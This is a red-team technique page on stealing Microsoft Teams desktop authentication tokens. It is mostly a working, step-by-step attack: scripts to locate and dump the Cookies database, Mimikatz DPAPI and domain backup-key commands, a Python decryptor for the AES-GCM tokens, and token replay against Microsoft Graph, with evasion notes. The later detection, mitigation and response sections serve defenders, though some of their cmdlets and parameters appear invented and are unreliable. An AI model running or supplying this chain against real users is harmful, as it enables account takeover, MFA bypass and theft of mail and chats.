| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-009 |
| MITRE ATT&CK v18.1 | T1528: Steal Application Access Tokens |
| Tactic | Credential Access |
| Platforms | Windows, macOS, Linux (M365 / Teams Desktop Client) |
| Severity | Critical |
| CVE | N/A (Design flaw, not formal CVE; Vectra 2022, El Fikhi 2025) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Teams Desktop Client all versions; encryption changed 2024+ (DPAPI + AES-256-GCM) |
| Patched In | N/A (Microsoft implementing token rotation and app-bound encryption as mitigations) |
| Author | SERVTEP – Artur Pchelnikau |
Note: This technique evolved significantly in 2024-2025. Earlier Vectra (2022) disclosure documented plaintext token storage; current attack exploits DPAPI encryption where the master key is accessible locally. Sections 6 (Atomic Red Team) includes M365 token theft tests. All sections renumbered based on applicability.
Microsoft Teams stores authentication tokens locally on disk for seamless login and offline functionality. Historically (2022), these tokens were stored in plaintext, allowing any attacker with file system access to steal them. Modern Teams clients (2024+) encrypt tokens using DPAPI (Windows Data Protection API) with AES-256-GCM, but the encryption master key is stored in a JSON configuration file within Teams’ local cache in plaintext, allowing attackers with local access to decrypt tokens and bypass MFA.
Attack Surface: The SQLite Cookies database at %AppData%\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies and the master key at %AppData%\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Local State. Attackers require local access to the system (via malware, physical access, or endpoint compromise).
Business Impact: Complete impersonation of the compromised user within Teams, Outlook, SharePoint, and Microsoft Graph APIs without requiring the user’s password or MFA approval. An attacker can read Teams chats, send phishing messages on behalf of the user, access shared files, read emails via Graph API, and establish persistence within the organization by appearing as a trusted internal user.
Technical Context: The attack exploits how Teams uses the embedded Chromium-based WebView2 browser engine (msedgewebview2.exe) for authentication. During login, encrypted cookies are written to the Cookies database. While DPAPI encryption protects these cookies, the encryption key itself is stored in plaintext within the Local State JSON file, accessible to the same user context or via DPAPI backup keys if the attacker has domain admin privileges. Once tokens are extracted, they remain valid for their full lifetime (typically 1 hour for access tokens, longer for refresh tokens), and can be used from any network location without triggering additional authentication.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 / 6.1 | Local credential protection; endpoint device hardening |
| DISA STIG | SRG-APP-000231-WSR-000086 | Secure credential storage and transmission |
| CISA SCuBA | SC-7(8) | Cryptography and key management for local storage |
| NIST 800-53 | SC-28(1) / IA-5(1) | Protection of information at rest; Password-based authentication |
| GDPR | Article 32 | Security of processing; encryption of personal data |
| DORA | Article 9 | Secure cryptographic key management |
| NIS2 | Article 21 | Cryptographic controls and incident detection |
| ISO 27001 | A.10.1.1 / A.14.2.1 | Cryptography; secure development of software |
| ISO 27005 | Risk Scenario: “Compromise of Local Credentials” | Encryption and access control |
%AppData%\Local\Packages\MSTeams_*, ability to execute PowerShell or system commands, ability to terminate processes (teams.exe).Supported Versions:
Tools:
# Check if Teams is installed
Get-Package -Name "*Teams*" -ErrorAction SilentlyContinue
# Identify Teams installation directory
$TeamsPath = Join-Path $env:LOCALAPPDATA "Packages\MSTeams*"
if (Test-Path $TeamsPath) {
Write-Host "[+] Teams found at: $TeamsPath"
Get-ChildItem -Path $TeamsPath -Recurse -ErrorAction SilentlyContinue | Select-Object FullName
}
# Check if Cookies database exists
$CookiesPath = "$TeamsPath\LocalCache\Microsoft\MSTeams\EBWebView\Cookies"
if (Test-Path $CookiesPath) {
Write-Host "[+] Cookies database found: $CookiesPath"
Get-Item $CookiesPath | Select-Object Length, LastWriteTime
}
# Check for Local State (master key location)
$LocalStatePath = "$TeamsPath\LocalCache\Microsoft\MSTeams\EBWebView\Local State"
if (Test-Path $LocalStatePath) {
Write-Host "[+] Local State (master key) found: $LocalStatePath"
}
What to Look For:
MSTeams_* folder indicates Teams installation.# Check Teams installation on Linux
find ~/.config -name "*Teams*" -type d 2>/dev/null
# List Teams cache directory
ls -la ~/.config/Microsoft/"Microsoft Teams"/
# Check for Cookies database
if [ -f ~/.config/Microsoft/"Microsoft Teams"/Cookies ]; then
echo "[+] Cookies database found"
sqlite3 ~/.config/Microsoft/"Microsoft Teams"/Cookies "SELECT host_key, name FROM cookies LIMIT 5;"
fi
What to Look For:
Supported Versions: Windows 10+, Teams Desktop Client (2024 and later with AES-256-GCM encryption)
Objective: Use Process Monitor to identify when Teams writes encrypted authentication cookies and locate the Cookies database.
Command (Windows - Using ProcMon):
# Download and run ProcMon from SysInternals
# Note: Requires SysInternals Suite or standalone ProcMon
# Filter for Teams process and file write operations
# Steps:
# 1. Launch ProcMon as Administrator
# 2. Filter: Process Name = "msedgewebview2.exe"
# 3. Filter: Operation = "WriteFile"
# 4. Observe write operations to Cookies database during Teams login
# Expected output shows writes to:
# C:\Users\[USERNAME]\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies
Command (PowerShell - Alternative File Monitoring):
# Monitor Teams-related folder for file access
$TeamsPath = "$env:LOCALAPPDATA\Packages\MSTeams_8wekyb3d8bbwe"
# Use Get-FileSystemWatcher if available
Get-ChildItem $TeamsPath -Recurse -Include "Cookies", "Local State" |
ForEach-Object {
Write-Host "Found sensitive Teams file: $($_.FullName)"
Write-Host "Last Modified: $($_.LastWriteTime)"
Write-Host "Size: $($_.Length) bytes"
}
Expected Output:
Found sensitive Teams file: C:\Users\Admin\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies
Last Modified: 2025-01-08 10:23:45
Size: 32768 bytes
What This Means:
OpSec & Evasion:
Troubleshooting:
Access Denied when accessing Cookies file
References & Proofs:
Objective: Stop the Teams process so the Cookies database file can be read and copied.
Command (Windows - PowerShell):
# Terminate Teams process
Stop-Process -Name "ms-teams" -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
# Verify Teams is stopped
Get-Process -Name "ms-teams" -ErrorAction SilentlyContinue |
If ($_.Count -eq 0) { Write-Host "[+] Teams process terminated" }
# Also stop WebView2 process if still running
Stop-Process -Name "msedgewebview2" -Force -ErrorAction SilentlyContinue
Command (Linux/Bash):
# Terminate Teams process
pkill -f "ms-teams" || true
sleep 2
# Verify termination
pgrep -f "ms-teams" && echo "[-] Teams still running" || echo "[+] Teams terminated"
Expected Output:
[+] Teams process terminated
What This Means:
OpSec & Evasion:
Troubleshooting:
-Force flag not working; Teams process still running
taskkill /IM ms-teams.exe /FReferences & Proofs:
Objective: Read the SQLite Cookies database and extract the encrypted authentication token(s).
Command (Windows - Using SQLite3):
# Download SQLite3 if not available
# From: https://www.sqlite.org/download.html
$SQLiteExe = "C:\temp\sqlite3.exe" # Path to sqlite3.exe
$CookiesDB = "$env:LOCALAPPDATA\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies"
$OutputCSV = "C:\temp\teams_cookies.csv"
# Query the Cookies database
# Extract host_key, name, encrypted_value (the token)
& $SQLiteExe $CookiesDB @"
.mode csv
.output $OutputCSV
SELECT host_key, name, encrypted_value FROM cookies WHERE host_key LIKE '%teams.microsoft.com%' OR host_key LIKE '%graph.microsoft.com%';
.quit
"@
Write-Host "[+] Cookies exported to: $OutputCSV"
Get-Content $OutputCSV
Command (Linux/Bash - Using sqlite3):
# Extract cookies from Teams SQLite database
COOKIES_DB="$HOME/.config/Microsoft/Microsoft Teams/Cookies"
OUTPUT_CSV="/tmp/teams_cookies.csv"
sqlite3 "$COOKIES_DB" << EOF
.mode csv
.output $OUTPUT_CSV
SELECT host_key, name, encrypted_value FROM cookies
WHERE host_key LIKE '%teams.microsoft.com%' OR host_key LIKE '%graph.microsoft.com%';
EOF
echo "[+] Cookies exported to: $OUTPUT_CSV"
cat $OUTPUT_CSV
Expected Output:
host_key,name,encrypted_value
teams.microsoft.com,skypetoken_asts,"v10|b'D8F5A3B2C1D9E8F7...'"
teams.microsoft.com,authtoken,"v10|b'A7C3E2F1B9D8A6C5...'"
graph.microsoft.com,Authorization,"v10|b'F5E3D2C1B9A8E7D6...'"
What This Means:
encrypted_value field contains the AES-256-GCM encrypted token.v10| prefix indicates DPAPI encryption scheme.OpSec & Evasion:
Troubleshooting:
database is locked
References & Proofs:
Objective: Extract the DPAPI-protected master key from the Local State JSON file and decrypt it using the user’s credentials or DPAPI backup keys.
Command (Windows - PowerShell):
# Path to Local State file (contains DPAPI-encrypted master key)
$LocalStatePath = "$env:LOCALAPPDATA\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Local State"
# Read the JSON file
$LocalStateContent = Get-Content $LocalStatePath -Raw | ConvertFrom-Json
# Extract the DPAPI-encrypted key
$DPAPIEncryptedKey = $LocalStateContent.os_crypt.encrypted_key
Write-Host "[+] DPAPI-encrypted key found:"
Write-Host $DPAPIEncryptedKey
# Decode the Base64 encrypted key
$DecodedKey = [System.Convert]::FromBase64String($DPAPIEncryptedKey)
# Use Mimikatz to decrypt the DPAPI key
# Command: mimikatz.exe "dpapi::cred /in:<key_file>" "exit"
Write-Host "[+] Pass the decoded key to Mimikatz for DPAPI decryption"
Write-Host "[+] Mimikatz command: dpapi::cred /in:C:\temp\dpapi_key.bin"
Command (Windows - Using Mimikatz for DPAPI Decryption):
# If running as the same user:
# Mimikatz can automatically decrypt DPAPI-protected data
# Download Mimikatz from: https://github.com/gentilkiwi/mimikatz
# Run Mimikatz as Administrator
# Commands:
# mimikatz# dpapi::cred /in:C:\path\to\dpapi_encrypted_key /unprotect
#
# This will output the decrypted key in plaintext
# If running as SYSTEM (via compromise of another account):
# Extract the DPAPI domain backup key from the Domain Controller
# Then decrypt the user's masterkey using the backup key
# Mimikatz command:
# lsadump::backupkeys /system:dc01.contoso.com /export
# Then use the exported key to decrypt the user's DPAPI data
Expected Output (From Mimikatz):
[masterkey] with RID : 8f2e0e66-f8e1-4a6e-a1f5-2d8c3b5e7a9f
Key : 5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b
What This Means:
OpSec & Evasion:
CryptUnprotectData if running in the same user context.Troubleshooting:
ERROR kuhl_m_dpapi_chrome_decrypt ; No Alg and/or Key handle despite AES encryption
sekurlsa::dpapi, then use those keys to decrypt the DPAPI blob.References & Proofs:
Objective: Use the decrypted master key to decrypt the AES-256-GCM encrypted cookies and extract the plaintext authentication tokens.
Command (Python - Token Decryption):
#!/usr/bin/env python3
import json
import sqlite3
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_teams_token(encrypted_value_base64, master_key_hex):
"""
Decrypt Teams token encrypted with AES-256-GCM using DPAPI master key.
Args:
encrypted_value_base64: Base64-encoded encrypted value from SQLite Cookies DB
master_key_hex: Decrypted DPAPI master key (hex string from Mimikatz)
Returns:
Decrypted plaintext token
"""
# Convert master key from hex to bytes
master_key = bytes.fromhex(master_key_hex)
# Decode the Base64 encrypted value
encrypted_data = base64.b64decode(encrypted_value_base64)
# AES-256-GCM requires:
# - 32-byte key (256 bits)
# - 12-byte nonce (96 bits) - first 12 bytes of encrypted data
# - 16-byte authentication tag (128 bits) - last 16 bytes of encrypted data
# - Ciphertext - middle bytes
nonce = encrypted_data[:12]
ciphertext = encrypted_data[12:-16]
tag = encrypted_data[-16:]
# Decrypt using AES-256-GCM
cipher = Cipher(
algorithms.AES(master_key),
modes.GCM(nonce, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
return plaintext.decode('utf-8')
# Example usage:
if __name__ == "__main__":
# Replace with actual values from your extraction
encrypted_token = "v10|AgEAAAYAAABD...truncated..." # From SQLite Cookies DB
master_key = "5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b" # From Mimikatz
try:
token = decrypt_teams_token(encrypted_token, master_key)
print(f"[+] Decrypted Token: {token}")
except Exception as e:
print(f"[-] Decryption failed: {e}")
Command (Windows - PowerShell Alternative using CyberChef or Online Tools):
# For manual decryption verification, use CyberChef:
# https://gchq.github.io/CyberChef/
#
# Steps:
# 1. Paste encrypted value (remove "v10|" prefix) into CyberChef input
# 2. Add recipe: "From Base64"
# 3. Add recipe: "AES Decrypt"
# 4. Key: [paste master key in hex]
# 5. Mode: GCM
# 6. IV/Nonce: [first 12 bytes of ciphertext]
# 7. Output shows plaintext token
Expected Output:
[+] Decrypted Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy5taWNyb3NvZnQuY29tL2ZjODZhODQ5LWU2NjItNGYxNi04NzFlLWYxZTgwZDJmZjAxZC8iLCJpYXQiOjE2NzI5OTk3MjcsImV4cCI6MTY3MzAwMzMyN...
What This Means:
exp (expiration) claim in the JWT payload.OpSec & Evasion:
Troubleshooting:
ValueError: invalid length
References & Proofs:
Supported Versions: Teams Desktop Client 2022 - early 2024 (before DPAPI encryption was implemented)
Objective: Search for Teams cache files containing plaintext tokens (older Teams versions).
Command (Windows - Direct File Search):
# Search for LevelDB files containing plaintext tokens
$TeamsPath = "$env:LOCALAPPDATA\Packages\MSTeams_*\LocalCache"
# LevelDB files are stored in Local Storage/leveldb directory
$LevelDBPath = Join-Path $TeamsPath "Local Storage\leveldb"
if (Test-Path $LevelDBPath) {
Write-Host "[+] LevelDB directory found: $LevelDBPath"
# Search for files containing token patterns
Get-ChildItem $LevelDBPath -Recurse | ForEach-Object {
$content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
if ($content -match "skypetoken|authtoken|Authorization") {
Write-Host "[+] Potential token found in: $($_.FullName)"
# Extract token pattern
$matches = [regex]::Matches($content, '(?<=")[^"]*(?=")')
$matches | Select-Object -First 5 | ForEach-Object { Write-Host " $($_.Value)" }
}
}
}
Command (Linux/Bash):
# Search for plaintext tokens in Teams cache
TEAMS_CACHE="$HOME/.config/Microsoft/Microsoft Teams"
if [ -d "$TEAMS_CACHE" ]; then
echo "[+] Searching for plaintext tokens..."
find "$TEAMS_CACHE" -type f -exec grep -l "skypetoken\|authtoken" {} \; 2>/dev/null
# Extract token values
grep -r "skypetoken\|authtoken" "$TEAMS_CACHE" 2>/dev/null | cut -d: -f2- | head -5
fi
Expected Output:
[+] LevelDB directory found: C:\Users\Admin\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Local Storage\leveldb
[+] Potential token found in: ...leveldb\000005.log
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20i...
What This Means:
OpSec & Evasion:
Objective: Copy plaintext tokens and test their validity.
Command (Windows):
# Copy plaintext token from cache
$Token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # Extracted from previous step
# Test token validity via Microsoft Graph API
$GraphUrl = "https://graph.microsoft.com/v1.0/me"
$Headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
$Response = Invoke-RestMethod -Uri $GraphUrl -Headers $Headers -Method Get
Write-Host "[+] Token is valid. User: $($Response.userPrincipalName)"
Expected Output:
[+] Token is valid. User: admin@contoso.com
Atomic Test ID: T1528-001 (M365 – Token theft via Graph API)
Test Name: Steal Application Access Token – Microsoft Teams Cookies Extraction
Description: Simulates extraction of valid Teams authentication tokens from local Cookies database and validates token functionality via Microsoft Graph API.
Supported Versions: Teams Desktop Client 2022+, Windows 10+, PowerShell 5.0+
Execution:
# Step 1: Install Atomic Red Team
$AtomicPath = "C:\temp\atomic-red-team"
git clone https://github.com/redcanaryco/atomic-red-team $AtomicPath
# Step 2: Execute T1528-001 test
cd "$AtomicPath\atomics\T1528"
. .\T1528.ps1
Invoke-AtomicTest T1528 -TestNumbers 1 -Verbose
Cleanup Command:
# Clear extracted tokens from memory
[System.GC]::Collect()
# Revoke Teams session in Entra ID (requires admin)
Connect-MgGraph -Scopes "AuditLog.Read.All"
Get-MgAuditLogSignIn -Filter "appId eq '00000002-0000-0ff1-ce00-000000000000'" |
Revoke-MgUserSignInSession -UserId (Get-MgContext).Account
Reference: Atomic Red Team T1528 Tests
Version: 2.2.0+
Supported Platforms: Windows
Minimum Version: 2.2.0
Version-Specific Notes:
Installation:
# Download from GitHub
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210812/mimikatz_trunk.zip" -OutFile "C:\temp\mimikatz.zip"
Expand-Archive -Path "C:\temp\mimikatz.zip" -DestinationPath "C:\temp\mimikatz"
Usage:
mimikatz# dpapi::cred /in:C:\path\to\encrypted_blob /unprotect
mimikatz# sekurlsa::dpapi
mimikatz# lsadump::backupkeys /system:dc01.contoso.com /export
Version: 1.0+
Supported Platforms: Windows, Linux, macOS
Installation:
git clone https://github.com/emadshanab/GraphSpy
cd GraphSpy
pip install -r requirements.txt
Usage:
# Use stolen Teams token to exploit Microsoft Graph
python3 GraphSpy.py --token "eyJ..." --endpoint "/me/messages" --method GET
Rule Configuration:
KQL Query:
MicrosoftGraphActivityAuditLogs
| where ResponseCode in (200, 201) // Successful requests
| where RequestUri in (
"/me/mailFolders/inbox/messages",
"/me/messages",
"/me/chats",
"/teams",
"/me/teamwork/installedApps"
)
| where UserId != ""
| join kind=inner (SigninLogs | where CreatedDateTime > ago(1h)) on UserId
| where SigninLogs.Status != "Success" and SigninLogs.AuthenticationRequirement == "multiFactorAuthentication"
| project TimeGenerated, UserId, RequestUri, ResponseCode, AppId, IPAddress
| summarize AccessCount = count() by UserId, RequestUri, IPAddress
| where AccessCount > 10
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Microsoft Graph API Access via Stolen TokenHigh5 minutes1 hourRule Configuration:
KQL Query:
let SuspiciousProcesses = dynamic([
"sqlite3.exe",
"mimikatz.exe",
"procdump.exe",
"taskkill.exe"
]);
let TeamsFilePaths = dynamic([
"\\AppData\\Local\\Packages\\MSTeams_*\\LocalCache\\Microsoft\\MSTeams\\EBWebView\\Cookies",
"\\AppData\\Local\\Packages\\MSTeams_*\\LocalCache\\Microsoft\\MSTeams\\EBWebView\\Local State"
]);
DeviceFileEvents
| where ActionType in ("FileCreated", "FileModified", "FileRead")
| where FileName in ("Cookies", "Local State")
| where FolderPath has "MSTeams_"
| join kind=leftouter (
DeviceProcessEvents
| where ProcessName in (SuspiciousProcesses)
) on DeviceId
| where isnotnull(ProcessName)
| project TimeGenerated, DeviceName, ProcessName, FileName, FolderPath, ActionType
What This Detects:
Event ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableAlert Name: Suspicious access to Teams authentication files detected
Manual Configuration Steps:
Operation: Teams sign-in activity, Graph API Access
PowerShell Query:
Connect-ExchangeOnline
# Search for suspicious Teams access
Search-UnifiedAuditLog -Operations "UserLoggedIn" -AppIds "1fec8e78-bce4-4aaf-ab1b-5451cc387264" `
-StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\Audit\Teams_SignIns.csv"
# Search for Graph API access
Search-UnifiedAuditLog -Operations "GraphApiOperation" -StartDate (Get-Date).AddDays(-7) |
Export-Csv -Path "C:\Audit\Graph_API_Access.csv"
TeamsAccessToken, UserLoggedIn, GraphApiOperationUserAgent: Client applicationClientIP: Source IP addressOperations: Specific action performedMitigation 1: Enable App-Bound Token Encryption
Microsoft recommends app-bound token encryption to prevent tokens from being stolen locally and used elsewhere.
Applies To Versions: Teams Desktop 2024+, Entra ID with modern authentication
Manual Steps (PowerShell - Entra ID Configuration):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Identity.SignUp.All"
# Enable app-bound tokens for Teams
Update-MgBetaOrganizationSettings -SessionLifetimeInHours 4 -ShowInAddressList $true
# Enforce token binding
$AppBoundingParams = @{
PolicyType = "ApplicationAccessTokenLifetime"
PolicyDefinition = @{
"TokenLifetimeInMinutes" = 60
"IsAppBound" = $true
}
}
Manual Steps (Azure Portal):
Enforce App-Bound Tokens for TeamsMitigation 2: Disable Teams Desktop Client, Force Web Client
Web-based Teams doesn’t store local tokens, eliminating the attack surface.
Manual Steps (PowerShell - Organization-wide):
# Disable Teams desktop client downloads
# Via Intune Configuration Profile
# Policy: Microsoft Teams > Desktop client > Block Teams desktop app
# Force Teams web access only
Set-OrganizationConfig -TeamsClientConfiguration @{
AllowTeamsDesktopClient = $false
AllowTeamsWebClient = $true
}
Manual Steps (Intune/MEM):
Disable Teams Desktop ClientHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Office\16.0\TeamsEnableInteger0 (disabled)Mitigation 3: Implement Token Lifetime and Rotation Policies
Shorter token lifetimes reduce the window for exploitation.
Manual Steps (Entra ID - Token Lifetime Policies):
1 hour (default; tighten if possible)7 days (default)90 days (tighten to 30 days)PowerShell Command:
# Create a token lifetime policy
$params = @{
DisplayName = "Restrictive Token Lifetime - High Risk Users"
TokenLifetimePolicy = @{
AccessTokenLifetimeInMinutes = 60
RefreshTokenLifetimeInMinutes = 420 # 7 days
IsMultiFactorAuthenticationRenewable = $true
}
}
New-MgPolicyTokenLifetimePolicy @params
Mitigation 4: Monitor Teams Process and File Access
Implement EDR rules to detect suspicious Teams process behavior.
Manual Steps (Microsoft Defender for Endpoint):
Teams Authentication Token Extraction AttemptProcess Executionms-teams.exe AND Action = Process KilledMitigation 5: Enforce Device Compliance
Require compliant, up-to-date devices to access Teams.
Manual Steps (Conditional Access):
Require Compliant Device for Teams AccessMitigation 6: Conduct Token Revocation
Audit and revoke stale or suspicious tokens.
Validation Command:
# Check token lifetime policies
Get-MgPolicyTokenLifetimePolicy | Select-Object DisplayName, Id
# Audit Teams session usage
Connect-MgGraph -Scopes "AuditLog.Read.All"
Get-MgAuditLogSignIn -Filter "appId eq '1fec8e78-bce4-4aaf-ab1b-5451cc387264'" |
Select-Object CreatedDateTime, UserPrincipalName, AppDisplayName, Status |
Sort-Object CreatedDateTime -Descending
Expected Output (If Secure):
DisplayName Id
--- --
Restrictive Token Lifetime... abc-12345-xyz
What to Look For:
%AppData%\Local\Packages\MSTeams_*\LocalCache\Microsoft\MSTeams\EBWebView\Cookies, %AppData%\Local\Packages\MSTeams_*\LocalCache\Microsoft\MSTeams\EBWebView\Local StateHKCU\Software\Microsoft\Teams\Cache (if Teams stores config in registry)graph.microsoft.com/v1.0, amer.ng.msg.teams.microsoft.com from non-Teams processes or unusual timessqlite3.exe, mimikatz.exe, taskkill.exe accessing Teams directories# Revoke all Teams sessions immediately
Connect-MgGraph -Scopes "Directory.Read.All"
$UserId = "[Compromised-User-ID]"
Revoke-MgUserSignInSession -UserId $UserId
# Force password reset
Update-MgUser -UserId $UserId -PasswordProfile @{
ForceChangePasswordNextSignIn = $true
}
# Export Teams audit logs
Search-UnifiedAuditLog -UserIds "[Compromised-User]" -StartDate (Get-Date).AddDays(-7) |
Export-Csv -Path "C:\Evidence\Teams_Audit.csv"
# Export Graph API access logs
Get-MgAuditLogDirectoryAudit -Filter "initiatedByDisplayName eq '[Compromised-User]'" |
Export-Csv -Path "C:\Evidence\Graph_API_Access.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing Attacks | Attacker phishes user to install malware |
| 2 | Execution | Malware delivery (Trojan, Spyware) | Malware gains local execution rights |
| 3 | Credential Access | [CA-TOKEN-009] Teams Token Extraction | Attacker extracts and decrypts Teams tokens via DPAPI |
| 4 | Lateral Movement | [LM-AUTH-006] Microsoft Teams Authentication Bypass | Attacker uses stolen token to access Teams APIs |
| 5 | Impact | Email exfiltration, internal phishing | Attacker steals data and impersonates user |
Related Techniques in MCADDF: